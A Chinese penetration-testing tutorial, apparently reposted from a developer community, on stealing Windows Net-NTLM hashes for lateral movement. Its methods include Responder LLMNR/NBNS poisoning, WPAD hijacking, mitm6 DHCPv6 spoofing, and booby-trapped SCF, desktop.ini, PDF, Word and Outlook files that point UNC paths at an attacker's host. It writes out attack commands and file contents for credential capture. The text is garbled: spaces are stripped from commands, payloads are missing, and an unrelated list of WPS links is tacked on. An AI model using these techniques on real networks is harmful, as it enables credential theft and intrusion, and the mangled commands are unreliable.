内网渗透横向移动之获取NetNTLMHash腾讯云开发者社区

通过控制内网主机发送NTLM请求,我们可以使用responder等工具截获主机用户的Net-NTLMHash,此Hash虽然不能进行哈希传递,但是有了Net-NTLMHash之后,我们可以对Net-NTLMHash进暴力破解、或重放,从而实现内网的横向渗透

Responder工具

kali自带此软件

链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。

LLMNR的工作过程

当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为使用LLMNR链路本地多播名称解析。

使用链路本地多播名称解析时,主机会通过UDP向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是,则丢弃该请求。

Windows系统名称解析顺序(win10和win7有不同表现)

1.本地hosts文件(%windir%\System32\drivers\etc\hosts)

2.DNS缓存,windows可使用命令ipconfig/displaydns查看

3.DNS服务器

4.链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。

早期SMB协议在网络上传输明文口令,后来微软进行了改进推出了NTLMv1会话协议,由于NTLMv1也很脆弱,所以后来就有了NTLMv2以及Kerberos验证体系,目前winserver2008及以后的windows版本默认均是使用NetNTLMv2的,默认使用NTLMv1的有2003、XP这些机器。

windows基于NTLM认证的有SMB、HTTP、LDAP、MSSQL等,responder可以通过模拟正常的SMB协议从而获得受害机器的NTLMV2hash值,NTLMv2不能直接应用于PassTheHash攻击,只能通过暴力破解来获取明文密码。而攻击者获取NTLMv1hash后,可以直接还原出NTLMHASH,这样的话就可以将NTLMHASH直接用于PassTheHash攻击,相较于NTLMv2还需要破解才能利用更加不安全。

NetBIOS和LLMNR在WindowsVista以后的系统中均实现,二者的主要区别在于:

1)NetBIOS基于广播,而LLMNR基于多播;

2)NetBIOS在WindowsNT以后的所有操作系统上均可用,而只有WindowsVista和更高版本才支持LLMNR;

3)LLMNR还支持IPv6,而NetBIOS不支持,因此,在启用了IPv6,但对IPv6管理不如IPv4那样细致的复杂网络中,就可能发生更广泛的攻击。

先在kali设置监听,并且要和目标在同一个网段下

当受害者访问一个不存在的资源时,如果本地缓存不存在,又无法通信,则会在会通过LLMNR和NetBIOS,在局域网中进行搜索。

dir\\dc\c$此时攻击者的responder便收到了受害者用户的Net-NTLMHash

除了netuse之外,还有下列命令可以使responder获得NTLVV2hash。

停止Responder后,在安装目录的logs文件夹下,会为每个service-proto-IP生成唯一的文件

一个PAC文件包含一个形式的函数“FindProxyForURL(url,host)”。这个函数返回一个包含一个或多个访问规则的字符串。用户代理根据这些规则适用一个特定的代理器或者直接访问。当一个代理服务器无法响应的时候,多个访问规则提供了其他的后备访问方法。浏览器在访问其他页面以前,首先访问这个PAC文件。PAC文件中的URL可能是手工配置的,也可能是通过网页的网络代理自发现协议(WebProxyAutodiscoveryProtocol)自动配置的。

PAC文件举例

代理自动配置文件(ProxyAuto-Config,PAC),定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL。要使用PAC,我们应当在一个网页服务器上发布一个PAC文件,并且通过在浏览器的代理链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。

在浏览器设置为“自动检测代理设置”的情况下,用户在访问网页时,首先会查询PAC文件的位置,然后获取PAC文件,将PAC文件作为代理配置文件。查询PAC文件的顺序如下:

1.通过DHCP服务器

2.查询WPAD主机的IP

LLMNR/NBNS投毒就是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。

首先先打开监听

responder-Ieth0-ron-v-Fon-won首先浏览器要设置

win7默认会尝试通过LLMNR、NBNS协议解析域名,那么win7输入错误域名后会被欺骗并解析到kali,随后responder会要求NTLM认证,受害机器就会发送hash值。

win7打开网页时会显示

输入账号密码后返回哈希值

经测试,win7下,ie弹窗可抓可抓,谷歌浏览器不弹窗,火狐弹窗可抓

然而我在windowsserver2012测试的时候遇到了问题,我确实抓到了哈希值,但是并非是每次都可以抓到,同时也没有弹窗提示要求输入凭证,我尝试同样用火狐浏览器,但是win7可以,windowsserver2012就不可以,然后我尝试使用windowsserve2008,发现2008在下载火狐的时候就已经弹窗并且抓到了,说明2012抓不到很肯能是系统版本的问题

微软在2016年发布了MS16-077安全公告,添加了两个重要的保护措施,以缓解这类攻击行为:

1.系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。

2.更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

可以看到这次的补丁包为KB2919355,而2012刚好有打

但是这个修补是可以绕过的

首先先针对第一条绕过

1.系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。回顾一下查询PAC文件的顺序

1、通过DHCP服务器

2、查询WPAD主机的IP

可以发现,系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP选项或DNS协议完成该任务,就确保了不能通过LLMNR/NBNS投毒的方式,但是可以通过DHCP和DNS协议还可以获取到pac文件,然而,DHCP和DNS都有指定的服务器,一般来说入侵者不可控,但是除了IPV4,还有IPV6,从WindowsVista以来,所有的Windows系统(包括服务器版系统)都会启用IPv6网络,并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。

DHCPv6协议中,客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器,组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。

DHCPv6四步交互过程,

由此可知,最后的Relay信息中包含了确认地址,委托前缀和配置(如可用的DNS或NTP服务器),在可以使用IPV6的前提下,入侵者可以收到其他机器的DHCPv6组播包,就可以目标的DNS服务器设置为入侵者的IPV6DNS服务器,然后目标立刻查询网络的WPAD配置由于这些DNS查询是发送给攻击者的,此时攻击者便可以使用自己的IP地址作为WPAD对应的IP地址。

首先先查看本机的网卡信息,并且找到ipv6地址

可以先观察一下目标主机的DNS服务器

然后使用mitm6监听DHCPv6流量

mitm6-dg1ts.com-ieth0当受害者机器重启或重新进行网络配置(如重新插入网线)时,将会向DHCPv6发送请求获取IPv6配置。这个时候mitm6将回复这些DHCPv6请求,并在链接本地范围内为受害者分配一个IPv6地址

这时再看目标的DNS服务器

和kali的ipv6一摸一样

针对第二条绕过

2.更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。这个其实比较好解决,在访问pac文件的时候,我们没办法获取到用户的net-ntlmhash。其实默认responder就不想在这一步获取net-ntlmhash,他默认不开启,要手动加-F选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己,然后我们作为中间人。这个时候可以做的事就很多了。比如插入xsspayload获取net-ntlmhash,中间人获取post,cookie等参数,通过basic认证进行钓鱼,诱导下载exe等等。

在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己,当受害主机连接到我们的“代理”服务器时,我们可以通过HTTPCONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程,然后回复HTTP407错误(需要代理身份验证),这与401不同,IE/Edge以及Chrome浏览器(使用的是IE设置)会自动与代理服务器进行身份认证,即使在最新版本的Windows系统上也是如此。在Firefox中,用户可以配置这个选项,该选项默认处于启用状态。

使用方法绕过后再次访问不存在的页面,发现可以抓到哈希值了,但是这里又存在一个问题,使用火狐浏览器抓不到,最终是用ie抓到的

文件夹内会有一个隐藏文件,叫desktop.ini用来指定和存储文件夹图标之类的个性设置,如果不存在,则可以更改该文件夹的图标,则会在文件夹内生成一个desktop.ini文件,如果还是不显示,则检查是否查看隐藏文件设置配置正常

在文件中还有一个连接,如果修改链接为攻击者的主机或者为一个不存在的主机(但是经测试,输入一个不存在的主机无法抓取到hash,输入攻击者的主机则可以)

当用户访问此文件夹时会去访问UNC路径,我们就能获取用户的net-ntlmhash

SCF文件是“Windows资源管理器命令”文件,它也是一种可执行文件,该类型文件由WindowsExplorerCommand解释。

当一个文件加中含有scf后缀的文件时,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile属性是支持UNC路径的,所以我们也可以通过这里的IconFile属性截获受害者的Net-NTLMHash

在某一文件夹下写入scf文件,内容如下

[Shell]Command=2IconFile=\\主机ip\scf\test.ico[Taskbar]Command=ToggleDesktop然后用户访问此文件夹,就可以通过Responder获取Hash

当windows是激活状态时,就可以更换头像,更换头像时路径输入攻击者的ip,就可以获取到Hash,虽然会弹窗,但是弹窗之前就已经获得了Hash

用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问,并且携带凭据,我们就可以拿到机器用户的net-ntlmhash,这个可以用来提权。

PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。

此脚本可以将正常的pdf转换为恶意pdf文件,以盗取哈希

python./WorsePDF.pytest.pdf192.168.200.4worsepdf.py[filename][攻击者ip]然后就会在文件夹生成一个文件

我们只需要将pdf上传到目标机器,然后让用户打开此文件即可

经测试,使用edge、火狐浏览器打开pdf文件无法获取到哈希,使用adobereader打开的pdf可以正常获取到哈希

首先先新建一个word文档,然后在里面复制一个图片,保存后用压缩软件打开此文档

进入word/_rels目录,修改document.xml.rels文件。找到刚才插入的图片所对应的Target参数

将其修改为一个任意的UNC路径,并加上一个TargetMode="External"属性

保存后退出,然后改回后缀,让目标电脑用户打开文件即可获得哈希

经测试,wps可以获取hash,word不知道是不是我是试用版的问题并没有接收到

发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload

当收件人打开outlook查看邮件的时候就收到net-ntlmhash了

使用条件:

使用LOAD_FILE函数,该函数支持该函数支持远程加载及支持UNC路径

把payload改成

在xxe里面加载外部文件的时候,如果路径支持unc路径的话,是能拿到net-ntlmhash的。

这里使用javajavax.xml.parsers进行测试,测试代码如下

DocumentBuilderFactorydbf=DocumentBuilderFactory.newInstance();DocumentBuilderdb=dbf.newDocumentBuilder();Documentdoc=db.parse(request.getInputStream());SSRFphp代码:

/ssrf.phpurl=file://192.168.200.4/sourceJAVA的HttpURLConnection:

各个语言触发XXE和SSRF的实现不同。同一门语言也有不同的触发方式,这里并没有一一测试。

staticclassDefaultNTLMAuthenticationCallbackextendsNTLMAuthenticationCallback{@OverridepublicbooleanisTrustedSite(URLurl){returntrue;}}在xxe和ssrf测试中一般要测试这两个方面

3.支不支持UNC路径,比如\\ip\x或者file://ip/x

4.支不支持HTTP(这个一般支持),是不是需要信任域,信任域是怎么判断的

THE END
1.最新版wps如何使用,最新版WPS使用指南水泥制品制造随着科技的不断发展,软件更新换代的步伐也日益加快,作为办公软件领域的佼佼者,WPS Office不断推陈出新,为用户带来更加便捷、高效的办公体验,本文将为大家介绍最新版WPS Office的使用方法,帮助大家更好地掌http://www.lequangm.cn/post/778.html
2.WPS文档手机下载,便捷高效的文件管理与编辑体验之旅摘要:通过下载WPS文档到手机,用户可以享受到便捷高效的文件管理和编辑体验。WPS文档应用程序提供了丰富的文件操作功能,使用户能够轻松地查看、编辑、分享和保存文档。在手机上使用WPS文档,用户可以随时随地处理文件,提高工作效率,实现文件的无缝连接和共享。 本文目录导读: http://www.jonsonxlbb.cn/post/304.html
3.WPS专业版,一站式办公!mb6751cb6b6e71e的技术博客WPS Pro是一款金山推出的专业版办公软件,软件小巧、极速、全面兼容,可以实现办公软件最常用的文字、表格、演示等多种功能。具有内存占用低、运行速度快、体积小巧、强大插件平台支持、免费提供海量在线存储空间及文档模板、支持阅读和输出PDF文件、全面兼容微软Office的所有格式等独特优势; https://blog.51cto.com/u_17176510/12773134
4.WPS打开表格后为什么桌面会多出一个~$的文件,而且不是隐藏文件WPS打开表格后为什么桌面会多出一个~$的文件,而且不是隐藏文件,关闭后依然存在您好,文件是temp格式的吗?可以打开文件夹,点击”组织“---”文件夹和搜索选项“,弹出对话框,点击”查看“,按如图所示,进行设置,查看是否会重现问题?若问题重现,https://www.wps.cn/learning/room/d/237061
5.Office预览/编辑WPS预览/编辑在线解压缩文件分享文件MxsDoc是基于Web的文件管理系统,支持权限管理、历史版本管理、Office预览/编辑、WPS预览/编辑、在线解压缩、文件分享、文件加密、远程存储、远程文件推送、秒传、断点续传、智能搜索、文件备注、本地自动备份、异地自动备份、回收站、一键迁移、集群部署。主要应用场景:文件管理系统、文档安全管理系统、分布式文档管理系统、https://gitee.com/RainyGao/DocSys
6.Excel为什么输入数字后会变成乱码?汉字在WPS表格中出现乱码的情况,主要有以下几个常见原因: 字体设置不当:在WPS表格中使用了不支持中文字符的字体,导致汉字无法正常显示。 文件编码错误:文件保存时选择了错误的编码格式,导致汉字乱码。 软件版本问题:WPS表格软件版本过低或不兼容导致汉字乱码。 http://m.0djx.com/biancheng/luanma/1211793.html
7.wps$的用法4. 预览与打印:完成文档编辑后,可通过“文件”菜单下的“打印”选项进行预览和打印。 四、WPS表格操作 1. 创建表格:可使用工具栏中的表格创建按钮或选择菜单中的相应选项创建表格。 2. 编辑表格:可对表格进行插入、删除、合并单元格等操作,同时支持对表格内的数据进行排序、筛选和格式化等操作。 3. 图表制作:可https://wenku.baidu.com/view/9148cd5fbaf3f90f76c66137ee06eff9aef84983.html
8.基于云上Arm架构赋能数值天气预报编译成功后,你可以在main目录下WRF-4.2.2/main找到WRF的EXE文件: main/ndown.exe main/real.exe main/tc.exe main/wrf.exe 9.安装WPS 4.2 9.1安装Jasper 下载Jasper $ source /fsx/wrf-arm/wrf-install.env $ cd $DOWNLOAD $ wget https://www2.mmm.ucar.edu/wrf/OnLineTutorial/compile_tutorial/tar_https://blog.csdn.net/u012365585/article/details/118982121
9.WPS云文档读这一篇就够了!“小云朵”表示文件夹、文档在“我的云文档”云端。 我们双击打开在“我的云文档”云端的文档,这时候文档就被下载缓存到了WPSDrive文件夹中,图标就在同步过程中就变成了“蓝色同步”图标,短暂的同步完后,图标就变成了“白色绿对号”。 那么“白色绿对号”和“绿色白对号”又有什么区别呢? https://www.360doc.cn/article/26677606_1132402070.html
10.焊接工艺文件WPS/PQR的理解和应用.pdf焊接工艺文件WPS/PQR的理解和应用.pdf 3页内容提供方:annylsq 大小:120.13 KB 字数:约6.2千字 发布时间:2019-07-21发布于广东 浏览人气:167 下载次数:仅上传者可见 收藏次数:0 需要金币:*** 金币 (10金币=人民币1元)焊接工艺文件WPS/PQR的理解和应用.pdf 关闭预览 想预览更多内容,点击免费在线https://max.book118.com/html/2019/0716/8000000057002035.shtm
11.打开加密的excel加密的excel在哪里输入密码打开1、当excel打不开的时候我们可以下载一个WPS。这个文件也不大。能够搞定所有的office版本。。 安装好之后右键点击你要打开的表格。然后选择打开方式选择WPS表格即可! Ⅳ 加密的excel在哪里输入密码打开 是用什么方法加密的呢?其实可以使用加密软件来加密文件是最方便的,加密后的文件在安装加密软件的电脑上是可以正常打https://www.ultimate-communications.com/zh/password_49173
12.[VBA]EXCEL/WPS批量导入TXT文件吾爱破解这份代码,实现了批量将多个TXT文件内容导入到EXCEL。众所周知,WPS表格只支持单文件导入(不支持批量)、https://www.52pojie.cn/forum.php?mod=viewthread&tid=1962838
13.Centos安装WPSOfficekowems6. 编辑/usr/bin/wps文件,在其中开始部分添加如下行 export LD_LIBRARY_PATH=/opt/kingsoft/wps-office/office6:${LD_LIBRARY_PATH} 复制代码 然后就可以启动wps了。 这一步之后,我启动会崩溃,然后又找了下崩溃的解决方法。 2、解决新建文档错误 http://blog.chinaunix.net/uid-27666459-id-3992947.html
14.太原学院信息网络中心wps简介wps是什么意思wps是什么格式文件 wps是什么意思?WPS是英文Word Processing System(中文意为文字编辑系统)的缩写。是金山软件公司的一种办公软件。最初出现于1989年,在微软Windows系统出现以前,DOS系统盛行的年代,WPS曾是中国最流行的文字处理软件,现在WPS最新正式版为WPS2012,另外WPS 2009专业版也已面世。它集https://nic.tyu.edu.cn/contents/2829/58257.html